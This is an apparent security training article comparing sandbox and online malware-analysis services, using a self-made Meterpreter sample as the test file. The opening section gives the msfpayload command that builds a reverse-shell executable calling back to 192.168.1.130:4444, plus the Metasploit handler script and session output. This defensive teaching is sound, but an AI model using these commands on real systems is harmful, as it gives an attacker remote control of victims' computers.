Using Sandboxes For Hostile Program Analysis

Sandboxes

Introduction

Learn Digital Forensics

Build your skills with hands-on forensics training for computers, mobile devices, networks and more.

Start Learning

If you're reading this article, you have probably heard of a sandbox before. But, in case you haven't, I'll provide a quick explanation of what a sandbox really is. It is a technique which we can use to run a possibly malicious program in a safe environment, so it doesn't infect our local system.

There are different kinds of sandboxes out there. All of them are used to restrict access to the main local system when running the executable program, while some of them also provide an analysis of the executable's characteristics. The latter feature is a great tool to actually provide a report about what the executable does without reverse-engineering it. The automatic report generation functionality can be used to analyze the possible malicious malware samples. We must also mention that we can't always perform an in-depth analysis using the sandbox environment, because the malware sample can be specifically written to do different things if it detects that it's being executed in the sandbox. Therefore, it might return false results when the malware sample is executed on a fully patched Windows system.

Meterpreter

For the malicious malware sample we'll use a reverse Meterpreter executable to gain total access over the computer. First we need to create the reverse Meterpreter executable, which we can do with the command below.

[bash]</p>

<p># msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=4444 X &gt; meterpreter.exe</p>

<p>Created by msfpayload (http://www.metasploit.com).</p>

<p>Payload: windows/meterpreter/reverse_tcp</p>

<p>Length: 290</p>

<p>Options: {&quot;LPORT&quot;=&gt;&quot;4444&quot;, &quot;LHOST&quot;=&gt;&quot;192.168.1.130&quot;}</p>

<p>[/bash]

We used the msfpayload command and instructed it to use the windows/meterpreter/reverse_tcp payload to connect back to the IP 192.168.1.130 on port 4444. Thus we need to open port 4444 on the 192.168.1.130 machine and listen for incoming Meterpreter session. To do that we need to create a new script meterpreter.rb with the following contents:

[plain]</p>

<p>use exploit/multi/handler</p>

<p>set PAYLOAD windows/meterpreter/reverse_tcp</p>

<p>set LPORT 4444</p>

<p>set LHOST 0.0.0.0</p>

<p>set ExitOnSession false</p>

<p>exploit -j -z</p>

<p>[/plain]

We need to run the above script to actually open the required port on the required IP address. To do that, we can execute the command below:

[bash]</p>

<p># msfconsole -r /root/meterpreter.rb</p>

<p>[*] Processing /root/meterpreter.rb for ERB directives.</p>

<p>resource (/root/meterpreter.rb)&gt; use exploit/multi/handler</p>

<p>resource (/root/meterpreter.rb)&gt; set PAYLOAD windows/meterpreter/reverse_tcp</p>

<p>resource (/root/meterpreter.rb)&gt; set LPORT 4444</p>

<p>resource (/root/meterpreter.rb)&gt; set LHOST 0.0.0.0</p>

<p>resource (/root/meterpreter.rb)&gt; set ExitOnSession false</p>

<p>resource (/root/meterpreter.rb)&gt; exploit -j -z</p>

<p>[*] Exploit running as background job.</p>

<p>[*] Started reverse handler on 0.0.0.0:4444</p>

<p>[*] Starting the payload handler...</p>

<p>[/bash]

After that, we need to copy the executable to some Windows virtual machine on the same subnet as the IP 192.168.1.130 and execute it. The Meterpreter session should be established successfully, as can be seen in the output below:

[plain]</p>

<p>[*] Sending stage (752128 bytes) to 192.168.1.134</p>

<p>[*] Meterpreter session 1 opened (192.168.1.130:4444 -&gt; 192.168.1.134:1622)</p>

<p>[/plain]

We can see that the Meterpreter session has been established from 192.168.1.134 to 192.168.1.130 on port 4444. To display the session we can issue the sessions -i command, the output of which is shown below:

[plain]</p>

<p>msf exploit(handler) &gt; sessions -i</p>

<p>Active sessions</p>

<p>===============</p>

<p> Id Type Information Connection</p>

<p> -- ---- ----------- ----------</p>

<p> 1 meterpreter x86/win32 COMPUTER_1eleanor @ COMPUTER_1 192.168.1.130:4444 -&gt; 192.168.1.134:1622</p>

<p>[/plain]

To actually interact with the session and execute commands on the target computer, we can execute the session -i 1 command, which will give us the Meterpreter shell. If we input the help command in the Meterpreter shell, all available commands will be printed. We need to know that Meterpreter is very powerful and can do most of the things we want on the target computer. We can execute normal commands as if we were on the terminal on the target computer, we can take screenshots, we can run a keylogger, etc.

Sandboxie

Sandboxie is a sandbox program that can be used on Windows operating systems, either 32 or 64-bit. It runs the programs in isolated space, which prevents them from making permanent changes to the main local system. First we need to download and install the sanboxie. After that, a default Sandboxie window will open, which is shown in the picture below:

We can see that the workspace is empty for now. The Sandboxie is now ready to run the programs; we can run already installed programs in a secure sandbox environment or download new programs with Sandboxie and install them in a sandbox environment. To start our default browser, we can right-click on the Sandbox DefaultBox and select Run Sandboxed - Run Web Browser. We can see this in the picture below:

This will start our default web browser, which we can then use to browse the Internet. Keep in mind that every file downloaded by the default browser (either automatically by the browser itself or manually by us) will be sandboxed. When the default browser starts, we can download the putty.exe program from the Internet, as shown in the picture below:

Notice that our default browser is Opera and it has a yellow line around the window. This means that it's currently a sandbox, so the files downloaded won't actually be accessible with a normal file manager after the download is complete, but will only be visible in a sandboxed environment. Let's download the putty.exe now and save it in a directory named sandbox, as shown below:

After the downloading is complete, the following window will be presented to us, asking if we want to copy the downloaded file from the sandboxed folder to the actual folder on the filesystem:

Let's just close the pop-up for now, since we don't want to copy the file out of the sandbox folder because it might be malicious. We can then start Windows Explorer and navigate to the folder where the putty.exe file was downloaded. The file will be visible if we opened it with a sandboxed Explorer, otherwise it will not be visible. We can start putty.exe then, which will also start it in a sandboxed environment (remember that there should be a yellow line around the sandboxed application--as there indeed is, as we can see in the picture below):

We've successfully downloaded the putty.exe into a sandbox environment, and we've run it in a sandbox, which means that even if the executable was malicious it couldn't harm the real operating filesystem, since the file is kept in the sandbox folder that is simulating the real filesystem. Remember, whenever you start a new executable, you should always run it in a Sandbox environment. Well, this isn't entirely true: if you know that the application is secure and not malicious, you can of course download it and run it normally, but otherwise I would suggest you download it with a browser that was started using Sandboxie and then also start the program with Sandboxie, which can keep you secure. Don't download and run every application that you think you want just because some people recommended it; always run it in a sandbox environment just to be sure that nothing bad can happen even if the file is malicious.
This is true most of the time, but we must also mention that there are malware samples specifically targeted to break out of the sandbox environment and do the malicious actions nevertheless. We can't do anything about those malware samples, except keep the Sandboxie up-to-date. If a malware sample can break out of the sandbox environment the Sandboxie provides, it will surely be fixed soon after such vulnerability becomes known. This is why you should keep your Sandboxie up-to-date, but this isn't true just for the sandbox environment; you should keep all your software up-to-date just to be as protected as you can be.

GFI Sandbox

GFI Sandbox was previously known as CWSandbox and is an automated malware analysis tool, which can analyze Windows executables and identify the malicious behaviour. The features of the GFI Sandbox as promoted by the company that makes it are [1]:

- Malware determination engine: Determines and classifies malicious data by threat severity for quicker and easier evaluation.

- Custom detection criteria: Permits users to extend analysis criteria through the creation of new and custom threat rules.

- Intuitive UI and dashboard: Facilitates intelligent decision making by highlighting sample risk levels and system status.

- Custom test environment: Enables modification of the test environment to correspond with organizational requirements.

- Multiple analysis comparison: Compares samples side by side and across operating systems, patch levels and application versions.

- Rest API: Supports seamless integration with third-party solutions as well as simplified scripting.

- Bulk upload: Allows for simultaneous uploading of multiple samples via scripts or password protected ZIP files.

- GFI ThreatTrack (add-on): Supplies a continuously updated stream of tens of thousands of threat samples per day.

We can get a quite through overview of what the tool can do. To actually submit the sample and start the analysis of the malicious sample, we need to visit the ThreatTrack website and submit the malicious sample. The webpage looks like this:

In the picture above, you can see the input form where we can submit our possibly malicious file for analysis. Remember that the GFI Sandbox is not limited to executables; it can also analyze the following file formats: .doc, .pdf, url, .swf. Together with the uploaded sample document, we must also provide an email address, where the report about the malware analysis will be sent. We must also fill out the captcha to prevent the possible bruteforce attacks.

Now we must submit the meterpreter.exe we previously created. After submission the system will let us know that we submitted the sample successfully as we can see in the picture below:

Soon after the submission, the report will be sent to the email address provided. If you don't receive the report after a while, check the spam folder, as the email will probably be saved in there.

The first part of the report is presented in the picture below, where we can see the MD5 hash of the executable and its filename, which is meterpreter.exe. The file type is Windows PE executable.

The second part of the report is more interesting as it contains the actual data about the executable's behavior. The GFI Sandbox will check the following categories and provide the YES/NO answer if the malware sample belongs in the category. The categories are: Injected Code, More than 5 Processes, Copies to Windows, Windows/Run Registry Key Set, Makes Network Connection, Creates EXE in System, Starts EXE in System, Starts EXE in Documents, Deletes File in System, Hooks Keyboard, Creates Hidden File, Creates DLL in System, Creates Mutex, Alters Windows Firewall, Checks For Debugger, Could Not Load, Opens Physical Memory, Modifies Local DNS, Starts EXE in Recycle, Creates Service, Modifies File in System and Deletes Original Sample. The categories are self-explanatory, so we won't describe them in detail.

A PDF report document will also be appended to the email message. It will basically contain the same information as we already presented, but there will also be some additional information. Previously we saw that our meterpreter.exe alerted only one category; the Makes Network Connection, but we don't yet have any details about the connection that it was trying to make. To find that we can open the attached PDF document and take a look at the "Network Events" table, which can also be seen below:

We can see that the malware sample was trying to connect to the IP address 192.168.1.130 , which is absolutely right. The local IP from where it was trying to connect is 10.20.25.247, which also reveals the internal IP address of the GFI Sandbox program. The PDF document also holds another table presented below that presents all the actual connections the malware was trying to make.

We can see that the actual connection was trying to go to 10.20.25.255, which is probably the GFI Sandox internal gateway. But why is the malware trying to connect to that IP? We haven't specified it anywhere in the meterpreter executable. This is because the GFI Sandbox provides a static routing entry where all the connections from all the submitted samples are trying to go. Another reason might be that since there is no 192.168.1.0/24 network accessible on the current network, the malware samples are simply trying to go to the default gateway, which is 10.20.25.255.

The table below informs us that the malware sample didn't try to resolve any DNS hostnames, which is right, since we created the sample with the static IP of 192.168.1.130.

Another piece of information is that VirusTotal was unable to identify the submitted sample as malicious as can be seen on the picture below:

This is unusual; why can't the VirusTotal detect and malware presence in the submitted sample? The Meterpreter executable should be detected as malicious, since it is exactly that. Have you ever tried to submit a Meterpreter executable to a penetration test customer, but couldn't, since the Antivirus product instantly blocked it as malicious? So the Meterpreter should be flagged as malicious, but is not. The reason is probably because the GFI Sandbox is using only the hash when pulling the information from VirusTotal. But that technique won't work in our case, since we created a new executable with an arbitrary IP address, which is why the hash is different and probably not in VirusTotal database. If we upload the meterpreter.exe to VirusTotal, we can see that 34 out of 45 Antivirus products detected the Meterpreter as malicious as we can see on the picture below:

We've got quite a lot of useful information just by submitting the malware sample for analysis on the GFI Sandbox, but the sandbox environment can't be used for all kinds of malware. The sandbox simply takes the executable and runs it, it doesn't pass command-line arguments to it and and doesn't configure it. It just runs it. The sandbox also can't find hidden features inside the malware, but sometimes it may fail even with the simple ones. If the malware only does something based on the current date and time, when the sandbox is analyzing it, some events won't occur because the time is not correct. In such cases, the sandbox won't be able to detect those events, because it will most probably interrupt the program much sooner and will not let it continue indefinitely. Often the malware may also try to detect if it is running in a virtual machine and stop the execution at such times to prevent simple analysis of the malware; the attackers are trying to make our jobs much harder by implementing tricks to prevent us from analyzing the malware. If the malware contains logic that detects if it is being run in a virtual environment, it will most probably detect that it's being executed in a sandbox and terminate the execution, so the sandbox won't be able to collect all the data that it could otherwise.

Anubis

Anubis is a tool that can analyze Windows binaries or Android APKs for malicious behaviour. Anubis executes Android apps in a sandbox and provides a detailed report on their behavior, including file access, network access, crypto operations, dynamic code loading, and information leaks. In addition to the dynamic analysis in the sandbox, Andrubis also performs static analysis, yielding information on, e.g., the app's activities, services, required external libraries, and actually required permissions [2].

The Anubis web interface where we can upload the binary sample to be analyzed looks like this:

We can upload the meterpreter.exe executable to start the analysis process. We can also input the priority boost code to prioritize the analysis of our executable sample. If we enter the 4-letter code, our sample will be analyzed before any sample that was uploaded without the 4-letter verification code.

The sample analysis looks like this:

Once the analysis is done, another web page will be opened, which will hold the links to various report formats, as we can see below:

We can see that the meterpreter.exe has been analyzed and that we can choose to display the report in HTML, XML, PDF or TXT format. We can also download the traffic.pcap file that holds any networking data made by the meterpreter executable. If we open the HTML report we can see general information about the Meterpreter executable. The picture below presents that general information; we can see the file name, MD5, SHA1, file size, etc.

Another interesting piece of information is the listing of load and run-time DLLs needed by the Meterpreter executable. Those can be seen on the picture below; the load-time DLLS are ntdll.dll, kernel32.dll, msvcrt.dll, advapi32.dll, rpcrt4.dll and others. Run-time DLLs are hnetcfg.dll, mswsock.dll, wshtcpip.dll, gdi32.dll, and user32.dll. This can prove very useful if we want to determine the malware internals without reverse-engineering the malware sample.

Additional information is also available, such as registry read/written registry values that can prove valuable when trying to understand the malware logic. We can also try to change the value of the registry before trying to run the malware sample, but this will result in guessing only. It's much better to actually reverse-engineer the executable to find the exact values that need to be written in specific registry keys for malware to take different path of execution. But the list of used registry keys is still useful, because it informs us that the malware sample uses registry keys to make certain decision about its execution path.

At the end of the report we can also observe the network activity of the observed malware sample, which lets us know that it's trying to connect to IP address 192.168.1.130 on port 4444 as we already know. This can be seen on the picture below:

Joe Sandbox

Joe Sandbox executes files and URLs in a controlled environment and monitors the behavior of applications and the operating system for suspicious activities. All activities are compiled to comprehensive and detailed analysis reports. Analysis report contains information about potential threats, which enable cyber-security professionals to deploy, implement and develop appropriate defense and protections [3].

There's a great picture taken from [3], which summarizes the principles of Joe Sandbox, and can be seen below. On the picture we can see that we're submitting a possibly malicious file (that can be of various types) on the web application server, which gives the file to the "Behavior Engine" that does the actual analysis. There are many behavior engines, which are used for the actual analysis of the malicious files. After the analysis is done, the results are presented in either HTML or XML output format.

The drawback of Joe Sandbox is that it's not free, so we weren't able to test what it can detect with the meterpreter.exe executable. The price is very high, considering there are so many other free (possibly better) alternatives out there.

ThreatExpert

This is another great tool available for malware analysis. It is an advanced automated threat analysis system designed to analyze and report the behavior of computer viruses, worms, trojans, adware, spyware, and other security-related risks in a fully automated mode [4].

To send our file into analysis, we need to press Submit Sample on the menu of the ThreatExpert web page. The submission web page looks like this:

We can see that we only need to upload the malicious file and agree to the Terms and Conditions for the file to be analyzed. There are a number of limitations mentioned in the terms and conditions. Basically, if you want to keep your malware private, you shouldn't upload it to ThreatExpert. You really shouldn't upload it to any automatic malware scanners, because they can all disclose the malware to the public. We must also provide our email address, where the results will be sent.

Once the file has been uploaded we'll see the notification below, which tells us that the file has been accepted and being processed by the system.

When the analysis is complete we'll receive an email that will contain the URL to our report. Below we can see two pictures that represent the entire report. The first picture represents the MD5, SHA1, and the time the system took to analyze the sample. We can also see what antivirus products detected the sample as malicious: Symantec, McAfree, etc.

The second picture contains only the IP address the meterpreter samples tries to connect to and can be seen below:

We can see that the ThreatExpert successfully figured out the IP address that we specified when creating the malware sample.

Comodo Instant Malware Analysis

Another tool capable of automatic malware analysis is the Comodo Instant Malware Analysis tool. The web page where we can upload the malicious document can be seen in the picture below:

We can see that we only need to specify the file to upload and agree with terms and conditions. We don't need to specify any email. After the file submission, the following web page will be presented to the user:

We can see the MD5, SHA1, and SHA256 hash of the submitted file. Below is the link, which we can click to go to results. Keep in mind that you will be automatically redirected when the analysis is complete and the results are generated. Once we've been redirected to the specified URL, the following will be presented to us:

The Comodo Instant Malware Analysis tool didn't really detect anything at all; it didn't even provide us with the built-in IP address used in the executable, not to mention that it could have reported a lot of other useful information.

Conclusion

We've seen that there are a lot of free automated malware analysis tools out there. It's just a matter of choosing one and using it. But all the above solutions didn't actually detect anything else than just the IP address the malware tried to connect to. We must also mention that when the Meterpreter executable is being run, it will actually download the secondary shellcode and run that to spawn a reverse Meterpreter shell. None of the above alternatives were able to figure that out, so we can't replace static analysis/reverse-engineering with one of the solutions mentioned above. When the first analysis is over, we must still reverse-engineer the malware sample if we want to obtain more information about what it actually does.

Whenever we decide that we would like to upload a malware sample to be analyzed outside of our environment, we must be aware of the fact that the malware sample can be publicly disclosed by a third party. But the story doesn't end there: let's say we've gotten our hands on some malware sample that isn't well known yet and we want to reverse-engineer it and publish our findings. This is all fine and dandy, but if the malware is publicly disclosed, the attacker might notice that something is going on. The attacker can become aware of the fact that his/her malware sample has become known and is being reverse-engineered by the reverse-engineers. This might cause a lot of actions on behalf of the attacker to try to prolong the malware sample from becoming well known and thus being detected and removed from the systems with antivirus programs, IDS or IPS solutions. It is certainly a good thing for the attacker to be aware of the fact that his malware has been publicly disclosed, so he can take actions based on that.

Keep in mind that malware is a real threat in the world we live in. You can hear about some new zero-day exploit in a widespread application/library practically every day. To battle against those threads we must be on constant alert. If we're not an experienced user we can get infected very quickly.

References:

[1] GFI Sandbox, accessible on http://www.gfi.com/malware-analysis-tool.

[2] Anubis: Analyzing Unknown Binaries, accessible on http://anubis.iseclab.org/.

[3] Joe Security Sandbox, accessible on http://www.joesecurity.org/index.php/joe-sandbox-standalone.

Learn Digital Forensics

Build your skills with hands-on forensics training for computers, mobile devices, networks and more.

Start Learning

[4] ThreatExpert, accessible on http://www.threatexpert.com/.